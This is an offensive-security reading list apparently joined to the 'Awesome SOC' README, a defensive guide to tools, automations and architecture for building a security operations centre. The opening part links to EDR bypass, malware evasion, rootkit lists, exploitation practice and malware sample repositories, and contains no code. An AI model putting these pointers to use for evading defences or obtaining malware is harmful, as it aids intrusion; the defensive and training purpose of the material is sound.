[A tale of EDR bypass methods](https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/)
# Not really courses, not really articles
[Heap exploitation free "book"](https://heap-exploitation.dhavalkapil.com/)
# Practice
[Phoenix, succesor to Protostar](https://exploit.education/phoenix/)
>Covers various topics, including:
>- Network programming
>- Stack overflows
>- Heap overflows
>- Format string exploits
[ROP practice](https://ropemporium.com/)
[HEVD Vulnerable driver](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)
> Various exploits to practice on a driver
[Network traffic of malware to analyze](https://malware-traffic-analysis.net/training-exercises.html)
# Resources/tools
[NTAPI undocumented functions](https://undocumented.ntinternals.net)\
[x86/x64 Windows syscall table](https://j00ru.vexillium.org/syscalls/nt/64/)\
[Malware Windows API Cheatsheet](https://cerbersec.com/malware-cheatsheet.html)\
[Malware evasion / protection techniques](http://unprotect.tdgt.org/index.php/Unprotect_Project)\
[Malware analysis awesome list](https://project-awesome.org/rshipp/awesome-malware-analysis)\
[Linux rootkits awesome list](https://github.com/milabs/awesome-linux-rootkits)\
[Common evasions techniques used by malware](https://evasions.checkpoint.com/)\
[Common anti debugging techniques used by malware](https://anti-debug.checkpoint.com/)\
[Win32 Programming C++ notes](https://caiorss.github.io/C-Cpp-Notes/WindowsAPI-cpp.html)\
[APT mindmap](https://embed.kumu.io/0b023bf1a971ba32510e86e8f1a38c38#apt-index)
# Forums
- https://vx-underground.org/
- https://greysec.net/
- https://0x00sec.org/
# Sample sharing
- [MWDB CERT PL](https://mwdb.cert.pl)
- [Malware Bazaar](https://bazaar.abuse.ch/browse/)
- [VX Underground](https://vx-underground.org/samples.html)
- [URLHaus](https://urlhaus.abuse.ch/browse/)
- [VirusBay](https://www.virusbay.io/)
- [MalShare](https://www.malshare.com/)
|
# Awesome SOC
A collection of sources of documentation, and field best practices, to build and run a SOC (including CSIRT).
Those are my view, based on my own experience as SOC/CSIRT analyst and team manager, as well as well-known papers. Focus is more on SOC than on CERT/CSIRT.
My motto is: without reaction (response), detection is useless.
NB: Generally speaking, SOC here refers to detection activity, and CERT/CSIRT to incident response activity. CERT is a well-known (formerly) US trademark, run by [CERT-CC](https://www.sei.cmu.edu/about/divisions/cert/index.cfm), but I prefer the term [CSIRT](https://www.enisa.europa.eu/topics/incident-response).
# Table of Content
* [Must read](https://github.com/cyb3rxp/awesome-soc/blob/main/README.md#must-read)
* [Fundamental concepts](https://github.com/cyb3rxp/awesome-soc/blob/main/soc_basics.md)
* [Mission-critical means (tools/sensors)](https://github.com/cyb3rxp/awesome-soc/blob/main/README.md#mission-critical-means-toolssensors)
* [SOAR](https://github.com/cyb3rxp/awesome-soc/blob/main/README.md#soar)
* [IT/security Watch](https://github.com/cyb3rxp/awesome-soc/blob/main/README.md#itsecurity-watch-recommended-sources)
* [Detection engineering](https://github.com/cyb3rxp/awesome-soc/blob/main/detection_engineering.md)
* [Threat intelligence](https://github.com/cyb3rxp/awesome-soc/blob/main/threat_intelligence.md)
* [Management](https://github.com/cyb3rxp/awesome-soc/blob/main/management.md)
* [HR and training](https://github.com/cyb3rxp/awesome-soc/blob/main/hr_training.md)
* [IT achitecture](https://github.com/cyb3rxp/awesome-soc/blob/main/README.md#it-achitecture)
* [To go further (next steps)](https://github.com/cyb3rxp/awesome-soc/blob/main/README.md#to-go-further)
* [Appendix](https://github.com/cyb3rxp/awesome-soc/blob/main/README.md#appendix)
# Must read
## For a SOC
* MITRE, [11 strategies for a world-class SOC](https://www.mitre.org/publications/technical-papers/11-strategies-world-class-cybersecurity-operations-center) (or use [local file](https://github.com/cyb3rxp/awesome-soc/blob/main/11-strategies-of-a-world-class-cybersecurity-operations-center.pdf)): part 0 (Fundamentals).
* CMM, [SOC-CMM](https://www.soc-cmm.com/)
* LetsDefend [SOC analyst interview questions](https://github.com/LetsDefend/SOC-Interview-Questions)
* FIRST, [Building a SOC](https://www.first.org/resources/guides/Factsheet_Building_a_SOC_start_small.pdf)
* Gartner, [SOC model guide](https://www.gartner.com/doc/reprints?id=1-2C6FPM26&ct=230103&st=sb)
* NCSC, [Building a SOC](https://www.ncsc.gov.uk/collection/building-a-security-operations-centre)
* Splunk, [State of Security 2023](https://www.splunk.com/en_us/pdfs/gated/ebooks/state-of-security-2023.pdf)
* Rabobank CDC, [DeTTECT](https://github.com/rabobank-cdc/DeTTECT)
## For a CERT/CSIRT
* FIRST, [CERT-in-a-box](https://www.first.org/resources/guides/cert-in-a-box.zip)
* FIRST, [CSIRT Services Framework](https://www.first.org/standards/frameworks/csirts/csirt_services_framework_v2.1)
* ENISA, [Good practice for incident management](https://www.enisa.europa.eu/publications/good-practice-guide-for-incident-management)
* EE-ISAC [Incident Response whitepaper](https://www.ee-isac.eu/comp/uploads/2020/12/EE-ISAC-Incident-Response-White-Paper-1.pdf)
* NIST, [SP800-86, integration forensics techniques into IR](https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-86.pdf)
* Microsoft/EY/Edelman, [Incident response reference guide](https://www.linkedin.com/posts/the-cyber-security-hub_incident-response-reference-guide-activity-7033563558642642944-0zav?utm_source=share&utm_medium=member_desktop)
## Globally (SOC and CERT/CSIRT)
* Shubham, [Security 360](https://twitter.com/Shubham_pen/status/1655192003448020993?s=20)
* NIST, [Cybersecurity framework](https://www.nist.gov/cyberframework)
* ENISA, [How to set-up a CSIRT and SOC](https://www.enisa.europa.eu/publications/how-to-set-up-csirt-and-soc/at_download/fullReport)
* NIST, [SP800-61 rev2, incident handling guide](https://csrc.nist.gov/publications/detail/sp/800-61/rev-2/final)
* MITRE, [ATT&CK: Getting started](https://attack.mitre.org/resources/getting-started/)
* Purp1eW0lf, [Blue Team Notes](https://github.com/Purp1eW0lf/Blue-Team-Notes)
* ThreatConnect, [SIRP / SOA / TIP benefits](https://threatconnect.com/blog/realizing-the-benefits-of-security-orchestration-automation-and-response-soar/)
* Gartner, [Market Guide for Security Orchestration, Automation and Response Solutions](https://www.gartner.com/doc/reprints?id=1-2ADE1K2G&ct=220621&st=sb)
* PAN, [Security orchestration for dummies](https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/cortex-xsoar/Security-Orchestration-For-Dummies-Demisto-Special-Edition.pdf)
* FIRST, [CVSS v3.1 specs](https://www.first.org/cvss/specification-document)
* OASIS Open, [STIX](https://oasis-open.github.io/cti-documentation/stix/intro.html)
* FIRST, [TLP](https://www.first.org/tlp/) (intelligence sharing and confidentiality)
* CIS, [18 critical security controls](https://www.cisecurity.org/controls/cis-controls-list)
* Gartner, [Cybersecurity business value benchmark](https://emtemp.gcom.cloud/ngw/globalassets/en/doc/documents/775537-gartner-cybersecurity-business-value-benchmark-1st-generation.pdf)
* CyberArk: [NIS2, how to address the security control gaps](https://event.on24.com/eventRegistration/console/apollox/mainEvent?simulive=y&eventid=4110743&sessionid=1&username=&partnerref=&format=fhvideo1&mobile=&flashsupportedmobiledevice=&helpcenter=&key=588150776CAE70D7F02ECF2848FF11FA&newConsole=true&nxChe=true&newTabCon=true&consoleEarEventConsole=false&text_language_id=en&playerwidth=748&playerheight=526&eventuserid=600843623&contenttype=A&mediametricsessionid=517006274&mediametricid=5797475&usercd=600843623&mode=launch)
# Fundamental concepts
## Concepts, tools, missions, attack lifecycle, red/blue/purple teams
See: [SOC/CSIRT Basic and fundamental concepts](https://github.com/cyb3rxp/awesome-soc/blob/main/soc_basics.md).
## SOC and CSIRT core
### From logs to alerts: global generic workflow
Quoted from [this article](https://www.managedsentinel.com/siem-traditional-vs-cloud/):
Following the arrows, we go from log data sources to data management layer, to then data enrichment layer (where detection happens), to end-up in behavior analytics or at user interaction layer (alerts, threat hunting...). All of that being enabled and supported by automation.
### SOC/CSIRT architecture of detection
Based on [CYRAIL's paper drawing](https://slideplayer.com/slide/15779727/), that I've slightly modified, here is an example of architecture of detection (SIEM, SIRP, TIP interconnections) and workflow:
* Sensors log sources are likely to be: audit logs, security sensors (antimalware, FW, NIDS, proxies, EDR, NDR, CASB, identity threat detection, honeypot...).
# Mission-critical means (tools/sensors)
## Critical tools for a SOC/CSIRT
* **[SIEM](https://www.gartner.com/en/information-technology/glossary/security-information-and-event-management-siem)**:
* See [Gartner magic quadrant](https://www.gartner.com/doc/reprints?id=1-2BDC4CDW&ct=221010&st=sb)
* My recommendations: [Microsoft Azure Sentinel](https://azure.microsoft.com/en-us/products/microsoft-sentinel/#overview), [Sekoia.io XDR](https://www.sekoia.io/en/sekoia-io-xdr/), [Splunk](www.splunk.com).
* **[SIRP](https://d3security.com/blog/whats-the-difference-between-soar-and-sao/)**:
* e.g.: [IBM Resilient](https://www.ibm.com/qradar/security-qradar-soar?utm_content=SRCWW&p1=Search&p4=43700068028974608&p5=e&gclid=Cj0KCQjw9ZGYBhCEARIsAEUXITW2yUqAfNqWNeYXyENeUAoqLxV543LT0n2oYhYxEQ47Yjm7NfYTFHAaAtwpEALw_wcB&gclsrc=aw.ds), [TheHive](https://thehive-project.org/), [SwimLane](https://swimlane.com/), [PAN Cortex XSOAR](https://www.paloaltonetworks.com/cortex/cortex-xsoar)
* My recommendations: [TheHive](https://thehive-project.org/), [PAN Cortex XSOAR](https://www.paloaltonetworks.com/cortex/cortex-xsoar)
* **[SOA](https://d3security.com/blog/whats-the-difference-between-soar-and-sao/)**:
* e.g.: [IBM Resilient]( https://www.ibm.com/qradar/security-qradar-soar?utm_content=SRCWW&p1=Search&p4=43700068028974608&p5=e&gclid=Cj0KCQjw9ZGYBhCEARIsAEUXITW2yUqAfNqWNeYXyENeUAoqLxV543LT0n2oYhYxEQ47Yjm7NfYTFHAaAtwpEALw_wcB&gclsrc=aw.ds), [SwimLane](https://swimlane.com/), [TheHive](https://thehive-project.org/), [PAN Cortex XSOAR](https://www.paloaltonetworks.com/cortex/cortex-xsoar), [Microsoft Logic Apps](https://learn.microsoft.com/en-us/azure/logic-apps/logic-apps-overview)
* My recommendations: [SwimLane](https://swimlane.com/), [TheHive](https://thehive-project.org/), [PAN Cortex XSOAR](https://www.paloaltonetworks.com/cortex/cortex-xsoar)
* **[TIP](https://www.ssi.gouv.fr/en/actualite/opencti-the-open-source-solution-for-processing-and-sharing-threat-intelligence-knowledge/)**:
* See [Threat intel page](https://github.com/cyb3rxp/awesome-soc/blob/main/threat_intelligence.md)
## Critical sensors for a SOC
* **Antimalware**:
* See [Gartner magic quadrant](https://www.threatscape.com/microsoft-security-named-leader-in-4-gartner-magic-quadrants/)
* My recommendations: [Microsoft Defender](https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/microsoft-defender-antivirus-windows?view=o365-worldwide), [ESET Nod32](https://www.eset.com/int/business/solutions/learn-more-about-endpoint-protection/), [BitDefender](https://www.bitdefender.fr/business/products/workstation-security.html).
* **[Endpoint Detection and Response](https://www.gartner.com/reviews/market/endpoint-detection-and-response-solutions)**:
* See [Gartner magic quadrant](https://www.microsoft.com/security/blog/uploads/securityprod/2022/01/Gartner-EIA-1963x2048.png) and [MITRE ENGENUITY](https://www.cybervigilance.uk/post/2022-mitre-att-ck-engenuity-results)
* My recommendations: [SentinelOne](https://www.sentinelone.com/blog/active-edr-feature-spotlight/), [Microsoft Defender for Endpoint](https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/microsoft-defender-endpoint?view=o365-worldwide), [Harfanglab](https://www.harfanglab.io/en/block-cyberattacks), [ESET XDR](https://www.eset.com/int/business/enterprise-protection-bundle/), [WithSecure Elements EDR](https://www.withsecure.com/us-en/solutions/software-and-services/elements-endpoint-detection-and-response), [CrowdStrike Falcon EDR](https://www.crowdstrike.com/wp-content/uploads/2022/03/crowdstrike-falcon-insight-data-sheet.pdf), [Tanium](https://www.tanium.com/products/tanium-threat-response/), [Wazuh](https://wazuh.com/)
* **[Secure Email Gateway](https://www.gartner.com/reviews/market/email-security)** (SEG):
* See [Gartner reviews and ratings](https://www.gartner.com/reviews/market/email-security)
* My recommendations: [Microsoft Defender for Office365](https://www.microsoft.com/en-us/security/business/siem-and-xdr/microsoft-defender-office-365), [ProofPoint](https://www.proofpoint.com/fr/threat-reference/email-gateway), [Mimecast](https://www.mimecast.com/products/email-security/secure-email-gateway/)
* **[Secure Web Gateway](https://www.gartner.com/en/information-technology/glossary/secure-web-gateway)** (SWG) / Security Service Edge:
* see [Gartner magic quadrant](https://www.zscaler.fr/cdn-cgi/image/format%3Dauto/sites/default/files/images/page/gartner-magic-quadrant-security-service-edge-sse-2022/zscaler-gartner-sse-2022-%401x.png)
* My recommendations: BlueCoat, CISCO, Zscaler, [Netskope](https://www.netskope.com/security-defined/what-is-casb).
* **[Identity Threat Detection and Response](https://www.semperis.com/blog/what-organizations-want-from-expert-itdr-solutions/)** **(ITDR)** for identity and AD/AAD security (audit logs, or specific security monitoring solutions):
* My recommendations: [Semperis Directory Services Protector](https://www.semperis.com/active-directory-security/)
* for a one-shot security assessment of AD, I recommend: [Semperis](https://www.purple-knight.com/fr/?utm_source=gads&utm_medium=paidsearch&utm_campaign=pk_emea&gclid=Cj0KCQjw9ZGYBhCEARIsAEUXITV3yX7Nn6_GR-YVwiOANFvS9wsEQdTyUGHvMMirMzNQEoQ1Q3EQYIMaAjTgEALw_wcB) or [PingCastle](https://www.pingcastle.com/download/)
* **EASM**: External Asset Security Monitoring / External Attack Surface Management:
* My recommendations: [Intrinsec (in French)](https://www.intrinsec.com/monitoring-cyber/), [Mandiant](https://www.mandiant.fr/advantage/attack-surface-management), [Microsoft EASM](https://learn.microsoft.com/en-us/azure/external-attack-surface-management/)
* for a security check-up:
* quick security assessment of your website: [ImmuniWeb](https://www.immuniweb.com/websec/)
* AWS/Azure/GCP security assessment (community tool): [ScootSuite](https://github.com/nccgroup/ScoutSuite)
* **CASB**: [Cloud Access Security Broker](https://www.gartner.com/en/information-technology/glossary/cloud-access-security-brokers-casbs), if company's IT environment uses a lot of external services like SaaS/IaaS:
* See [Gartner magic quadrant](https://www.netskope.com/wp-content/uploads/2021/01/Screen-Shot-2021-01-05-at-10.15.23-AM-1024x456.png)
* My recommendations: [Microsoft MCAS](https://www.microsoft.com/en-us/security/business/siem-and-xdr/microsoft-defender-cloud-apps), [Zscaler](https://info.zscaler.com/resources-white-papers-data-protection-challenges?_bt=534426399999&_bk=%2Bzscaler%20%2Bcasb&_bm=b&_bn=g&_bg=121807608181&utm_source=google&utm_medium=cpc&utm_campaign=google-ads-na&gclid=CjwKCAjwu5yYBhAjEiwAKXk_eKLlKaMfJ-oGYItPTHguAmCA_b9WP0zNZgLPqGKjfC19IGmQFFG_9RoCgJAQAvD_BwE), [Netskope](https://www.netskope.com/security-defined/what-is-casb).
* **Deceptive technology:**
* My recommendation: implement [AD decoy acounts](https://medium.com/securonix-tech-blog/detecting-ldap-enumeration-and-bloodhound-s-sharphound-collector-using-active-directory-decoys-dfc840f2f644) and [AD DNS canary](https://www.protect.airbus.com/blog/active-directory-a-canary-under-your-hat/)
## Critical tools for CSIRT
* On-demand volatile data collection tool:
* My recommendations: [VARC](https://github.com/cado-security/varc), [DFIR-ORC](https://github.com/dfir-orc), [FireEye Redline](https://fireeye.market/apps/211364), [ESET Sysinspector](https://www.eset.com/int/support/sysinspector/).
* Remote action capable tools (ie.: remote shell or equivalent):
* My recommendations: [CIMSweep](https://github.com/mattifestation/CimSweep), [Velociraptor](https://docs.velociraptor.app/docs/deployment/), [CrowdStrike Falcon Toolkit](https://github.com/CrowdStrike/Falcon-Toolkit) but it relies on CrowdStrike EDR, [GRR](https://github.com/google/grr) but it needs an agent to be installed.
* On-demand sandbox:
* My recommendations for online ones: [Joe's sandbox](https://www.joesandbox.com/#windows), [Hybrid Analysis](https://www.hybrid-analysis.com/), etc;
* My recommendation for local one: Windows 10 native Sandbox, with [automation](https://megamorf.gitlab.io/2020/07/19/automating-the-windows-sandbox/).
* Forensics and reverse-engineering tools suite:
* My recommendations: [SIFT Workstation](https://www.sans.org/tools/sift-workstation/), or [Tsurugi](https://tsurugi-linux.org/)
* My recommendation for reverse engineering and malware analysis, under Windows: [FireEye Flare-VM](https://github.com/mandiant/flare-vm)
* My recommendation for pure malware analysis, under Linux: [Remnux](https://remnux.org/)
* Incident tracker:
* My recommendation: [Timesketch](https://timesketch.org/)
* Scanners:
* IOC scanners:
* My recommendations: [Loki](https://github.com/Neo23x0/Loki), [DFIR-ORC](https://github.com/dfir-orc)
* Log scanners: [CrowdSec](https://doc.crowdsec.net/docs/user_guides/replay_mode), [DeepBlue](https://github.com/sans-blue-team/DeepBlueCLI)
* Offline antimalware scanners:
* My recommendation: [Windows Defender Offline](https://support.microsoft.com/en-us/windows/help-protect-my-pc-with-microsoft-defender-offline-9306d528-64bf-4668-5b80-ff533f183d6c), [ESET SysRecue](https://www.eset.com/int/support/sysrescue/)
* IOC repos for scanners:
* Google [CTI's repo](https://github.com/chronicle/GCTI/tree/main/YARA): Yara rules for Cobalt Strike and others.
* [Yara-rules GitHub repo](https://github.com/Yara-Rules/rules): multiple Yara rules types.
* Spectre [Yara rules repo](https://github.com/phbiohazard/Yara)
* Neo23x0 [Community Yara rules](https://github.com/Neo23x0/signature-base)
* and those listed here, [Awesome threat intel](https://github.com/hslatman/awesome-threat-intelligence)
## Other critical tools for a SOC and a CERT/CSIRT
* Internal ticketing system (NB: **not** SIRP, not for incident response!):
* My recommendation: [GitLab](https://about.gitlab.com/handbook/engineering/security/security-operations/sirt/sec-incident-response.html)
* Knowledge sharing and management tool:
* My recommendations: [Microsoft SharePoint](https://www.microsoft.com/en-us/microsoft-365/sharepoint/collaboration), Wiki (choose the one you prefer, or [use GitLab as a Wiki](https://docs.gitlab.com/ee/user/project/wiki/)).
* Vizualization tool for OSINT search and IOC:
* My recommendation: [OSINTracker](https://app.osintracker.com/)
# SOAR
## What is SOAR?
As per [Gartner definition](https://securityboulevard.com/2021/08/gartner-soar-magic-quadrant-when-where-and-how/):
Hence 3 critical tools (see above): SIRP, TIP, SOA, on top of SIEM.
And in my view, SOAR is more an approach, a vision, based on technology and processes, than a technology or tool per say.
## Simple and commonly needed automation tools
* Online automated hash checker (script):
* my recommendation: [Munin](https://github.com/Neo23x0/munin), or with PowerShell [Posh-VT](https://github.com/darkoperator/Posh-VirusTotal)
* Online URL automated analysis:
* my recommendation: [CyberGordon](https://cybergordon.com/), [URLScan.io](https://urlscan.io/)
* Online automated sample analyzer:
* my recommendation, via script and without sample submission: [Malwoverview](https://github.com/alexandreborges/malwoverview);
* my recommendations for online dynamic analysis: [Hybrid-Analysis](https://www.hybrid-analysis.com/), [Joe's sandbox](https://www.joesandbox.com/#windows)
* (pure) Windows tasks automation:
* My recommendations: [AutoIT](https://www.autoitscript.com/site/), [Chocolatey](https://chocolatey.org/)
* SaaS-based (and partly free, for basic stuff) SOA:
* [Shuffle](https://shuffler.io/)
## Common automations
### My recommendations for detection (alerts handling):
Try to implement at least the following automations, leveraging the SOA/SIRP/TIP/SIEM capabilities:
* Make sure all the context from any alert is being automatically transfered to the SIRP ticket, with a link to the SIEM alert(s) in case of.
* Leverage API (through SOA) if needed to retrieve the missing context info, when using built-in integrations.
* Automatically query the TIP for any artefacts or even IOC that is associated to a SIRP ticket.
* Automatically retrieve the history of antimalware detections for an user and/or endpoint, that is associated to a SIRP ticket.
* Automatically retrieve the history of SIEM detections for an user and/or endpoint, that is associated to a SIRP ticket.
* Automatically retrieve the history of SIRP tickets for an user and/or endpoint, that is associated to a new SIRP ticket.
* Automatically query AD or the assets management solution, for artefact enrichment (user, endpoint, IP, application, etc.).
### My recommendations for response (incident response, containment/eradication steps):
* Block an IP on all firewalls (including VPN), SWG and CASB.
* Block an URL on SWG.
* Block an email address (sender) on SEG.
* Block an exe file (by hash) on endpoints (leveraging antimalware/EDR or AppLocker).
* Block an exe file (by hash) on gateways and CASB: SWG, SEG, CASB.
* Reset an AD account password.
* Disable an AD account (both user and computer, since computer account disabling will block authentication with any AD account on the endpoint, thus preventing from lateral movement or priv escalation).
* Report a (undetected) sample to security vendors, via email. Here are a few addresses, in case of:
* Files samples (to be attached in a password-protected Zip file, with 'infected' as password): samples@eset.com, newvirus@kaspersky.com, report@sentinelone.com, virus_submission@bitdefender.com, vsamples@f-secure.com, virus_malware@avira.com, submitvirus@fortinet.com, virus_research@avertlabs.com, virus_doctor@trendmicro.com
* URL/IP samples: samples@eset.com, samples@kaspersky.com, report@sentinelone.com, virus_submission@bitdefender.com, vsamples@f-secure.com, phish@office365.microsoft.com, report@openphish.com, reportphishing@apple.com, abuse@clean-mx.de, datasubmission@mcafee.com
* Report a false positive to security vendors, via email;
* You may want to have a look at [this page](https://github.com/yaronelh/False-Positive-Center) to know the required email address.
* Report a malicious URL (for instance, phishing) to a security vendor for takedown steps
* My recommendation: [Netcraft](https://www.netcraft.com/cybercrime/) [via API](https://report.netcraft.com/api/v3), or [PhishReport](https://phish.report/docs).
* Block an IP address on web servers, linux firewalls, etc. based on community-driven CTI:
* My recommendation: [CrowdSec bouncer](https://www.crowdsec.net/blog/crowdsec-not-your-typical-fail2ban-clone)
# IT/security Watch (recommended sources)
* SIEM rules publications:
* [Sigma HQ (detection rules)](https://github.com/SigmaHQ/sigma/tree/master/rules)
* [Splunk Security content (free detection rules for Splunk)](https://research.splunk.com/)
* [SOC Prime](https://tdm.socprime.com/)
* [Michel De Crevoisier's Git](https://github.com/mdecrevoisier/SIGMA-detection-rules)
* Known exploited vulnerabilities:
* [CISA catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
* [CVETrends](https://cvetrends.com/)
* LinkedIn / Twitter:
* e.g.: [LinkedIn Information Security Community group](https://www.linkedin.com/groups/38412/)
* RSS reader/portal:
* e.g.: [Netvibes](https://www.netvibes.com/phvialle?page=phvialle#Security)
* Government CERT, industry sector related CERT...
* e.g.: [CERT-FR](https://www.cert.ssi.gouv.fr/avis/), [CERT-US](https://www.cisa.gov/uscert/ncas/alerts)
* Other interesting websites:
* e.g.: [ISC](https://isc.sans.edu/), [ENISA](https://www.enisa.europa.eu/publications), [ThreatPost](https://threatpost.com/) ...
# Detection engineering
Cf. [detection engineering page](https://github.com/cyb3rxp/awesome-soc/blob/main/detection_engineering.md).
# Threat intelligence
Cf. [threat intelligence page](https://github.com/cyb3rxp/awesome-soc/blob/main/threat_intelligence.md).
# Management
Cf. [management page](https://github.com/cyb3rxp/awesome-soc/blob/main/management.md).
# HR and training
Cf. [HR and training page](https://github.com/cyb3rxp/awesome-soc/blob/main/hr_training.md).
# IT achitecture
## Have a single and centralized platform ('single console')
As per [NCSC website](https://www.ncsc.gov.uk/collection/building-a-security-operations-centre/detection/detection-practices#section_2):
> Indications of an attack will rarely be isolated events on a single system component or system. So, where possible, having a single platform where analysts have the ability to see and query log data from all of your onboarded systems is invaluable.
> Having access to the log data from multiple (or all) components, will enable analysts to look for evidence of attack across an estate and create detection use-cases that utilise a multitude of sources.
> By creating temporal (actions over a period of time) and spatial (actions across the estate) use-cases, an organisation is better prepared to address cyber security attacks that occur system wide.
## Disconnect (as much as possible) SOC from monitored environment
The goal is to prevent an attacker from achieving lateral movement from a compromised monitored zone, to the SOC/CSIRT work zone.
### Enclave:
* Implement SOC enclave (with network isolation), as per MITRE paper drawing:
* only log collectors and WEF should be authorized to send data to the SOC/CSIRT enclave. Whenever possible, the SOC tools pull the data from the monitored environment, and not the contrary;
* on top of a SOC enclave, implement at least a [level 2 of network segmentation](https://github.com/sergiomarotco/Network-segmentation-cheat-sheet#level-2-of-network-segmentation-adoption-of-basic-security-practices);
SOC’s assets should be part of a separate [restricted AD forest](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/forest-design-models ), to allow AD isolation with the rest of the monitored AD domains.
### Endpoints hardening:
* SOC/CSIRT's endpoints should be hardened with relevant guidelines;
* My recommendations: [CIS benchmarks](https://www.cisecurity.org/cis-benchmarks/), [Microsoft Security Compliance Toolkit](https://www.microsoft.com/en-us/download/details.aspx?id=55319)
# To go further
## Must read
* MITRE, [11 strategies for a world-class SOC (remaining of PDF)](https://www.mitre.org/publications/technical-papers/11-strategies-world-class-cybersecurity-operations-center)
* CISA, [Cyber Defense Incident Responder role](https://www.cisa.gov/cyber-defense-incident-responder)
* FireEye, [Purple Team Assessment](https://www.fireeye.fr/content/dam/fireeye-www/regional/fr_FR/services/pdfs/ds-purple-team-assessment.pdf)
* Kaspersky, [AV / EP / EPP / EDR / XDR](https://usa.kaspersky.com/blog/introducing-kedr-optimum/27062/?reseller=usa_regular-sm_acq_ona_smm__onl_b2c_lii_post_sm-team______&utm_source=linkedin&utm_medium=social&utm_campaign=us_regular-sm_en0177&utm_content=sm-post&utm_term=us_linkedin_organic_pmgk1776sk4g1qp)
* Wavestone, [Security bastion (PAM) and Active Directory tiering mode: how to reconcile the two paradigms?](https://www.riskinsight-wavestone.com/en/2022/10/security-bastion-pam-and-active-directory-tiering-mode-how-to-reconcile-the-two-paradigms/)
* MalAPI, [list of Windows API and their potential use in offensive security](https://malapi.io/)
* FireEye, [OpenIOC format](https://github.com/fireeye/OpenIOC_1.1/blob/master/IOC_Terms_Defs.md)
* Herman Slatman, [Awesome Threat Intel](https://github.com/hslatman/awesome-threat-intelligence)
* Microsoft, [SOC/IR hierarchy of needs](https://github.com/swannman/ircapabilities)
* Betaalvereniging, [TaHiTI (threat hunting methodology)](https://www.betaalvereniging.nl/wp-content/uploads/TaHiTI-Threat-Hunting-Methodology-whitepaper.pdf)
* ANSSI (FR), [EBIOS RM methodology](https://www.ssi.gouv.fr/guide/ebios-risk-manager-the-method/)
* GMU, [Improving Social Maturity of Cybersecurity Incident Response Teams](https://edu.anarcho-copy.org/Against%20Security%20-%20Self%20Security/GMU_Cybersecurity_Incident_Response_Team_social_maturity_handbook.pdf)
* J0hnbX, [RedTeam resources](https://github.com/J0hnbX/RedTeam-Resources)
* Fabacab, [Awesome CyberSecurity BlueTeam](https://github.com/fabacab/awesome-cybersecurity-blueteam)
* Microsoft, [Windows 10 and Windows Server 2016 security auditing and monitoring reference](https://www.microsoft.com/en-us/download/details.aspx?id=52630).
* iDNA, [how to mange FP in a SOC?](https://www.idna.fr/2018/11/06/comment-gerer-les-faux-positifs-dans-un-soc/), in FR
* Soufiane Tahiri, [Playbook for ransomware incident response](https://github.com/soufianetahiri/ransomware_Incident_Response_FR), in FR
* PwnDefend, [AD post-compromise checklist](https://www.pwndefend.com/2021/09/15/post-compromise-active-directory-checklist/)
* Gartner, [Market guide for NDR](https://www.gartner.com/doc/reprints?id=1-2C26GPJO&ct=221220&st=sb&utm_campaign=23Q1%20-%20%5BP%5D%20-%20WW%20-%20DR%20-%20Gartner%20Market%20Guide%202022%20for%20NDR&utm_medium=email&_hsmi=238503267&_hsenc=p2ANqtz-8wHF9sVJ7vVNCjT-uxGc2EkfHf_7Rjj3PYQd1AhWkwv-bluEqKKFV_xfeZqdU2sHYMtuximF-J33CBTSwyutZIjcOd5SKywiV6HGRCfolqm1Pg9pU&utm_content=238503267&utm_source=hs_automation)
* Rawsec, [Resources inventory](https://inventory.raw.pm/resources.html)
* Quest, [Best practices for AD disaster recovery](https://www.quest.com/webcast-ondemandt/best-practices-for-active-directory-disaster-recovery/?param=L4qcdiH1R46lWbN5Jxs%2fNN0Qky57LDYQTnsyaoWVqKYZTocd3n1RpFTyQegqps0MbW7yx4UWSKyVRVyz%2bwo0XRB2%2fXpFzrMZeOA%2fne%2f4Fm3oH5YJAnFCP%2fnRqs9Rq%2fRD0VTXvdBaojCx5J46htyILvanM5FhOVa7MCGDGYBcq6925YtpmANy9OA1%2fjdtlDrp)
* Microsoft, [Isolate Tier 0 assets with group policy](https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/initially-isolate-tier-0-assets-with-group-policy-to-start/ba-p/1184934)
* Securenvoy, [How to be compliant with NIS2?](https://securenvoy.com/blog/how-to-be-compliant-with-new-nis-directive/)
## Nice to read
* NIST, [SP800-53 rev5 (Security and Privacy Controls for Information Systems and Organizations)](https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final)
* Amazon, [AWS Security Fundamentals](https://aws.amazon.com/fr/training/digital/aws-security-fundamentals/)
* Microsoft, [PAW Microsoft](https://docs.microsoft.com/en-us/security/compass/privileged-access-devices)
* CIS, [Business Impact Assessment](https://bia.cisecurity.org/)
* Abdessabour Boukari, [RACI template (in French)](https://github.com/cyberabdou/SOC/blob/77f01ba82c22cb11028cde4a862ae0bea4258378/SOC%20RACI.xlsx)
* Trellix, [XDR Gartner market guide](https://www.trellix.com/fr-fr/solutions/gartner-report-market-guide-xdr.html)
* Elastic, [BEATS agents](https://www.elastic.co/beats/)
* [V1D1AN's Drawing: architecture of detection](https://github.com/V1D1AN/S1EM/wiki/Architecture-guide#the-architecture-of-detection),
* [RFC2350](https://www.cert.ssi.gouv.fr/uploads/CERT-FR_RFC2350_EN.pdf) (CERT description)
* [Awesome Security Resources](https://github.com/Johnson90512/Awesome-Security-Resources)
* [Incident Response & Computer Forensics, 3rd ed](https://www.google.fr/books/edition/Incident_Response_Computer_Forensics_Thi/LuWINQEACAAJ?hl=fr)
* [GDPR cybersecurity implications (in French)](https://atelier-rgpd.cnil.fr/)
* [SANS SOC survey 2022](https://www.splunk.com/en_us/pdfs/resources/whitepaper/sans-soc-survey-2022.pdf)
* Soufiane Tahiri, [Digital Forensocs Incident Response Git](https://github.com/soufianetahiri/Digital-Forensics-Incident-Response)
* [Austin Songer](https://github.com/austinsonger/Incident-Playbook)
* CISA, [Cybersecurity incident and vulnerability response playbooks](https://www.cisa.gov/sites/default/files/publications/Federal_Government_Cybersecurity_Incident_and_Vulnerability_Response_Playbooks_508C.pdf)
* Reprise99, [Microsoft Sentinel queries](https://github.com/reprise99/Sentinel-Queries)
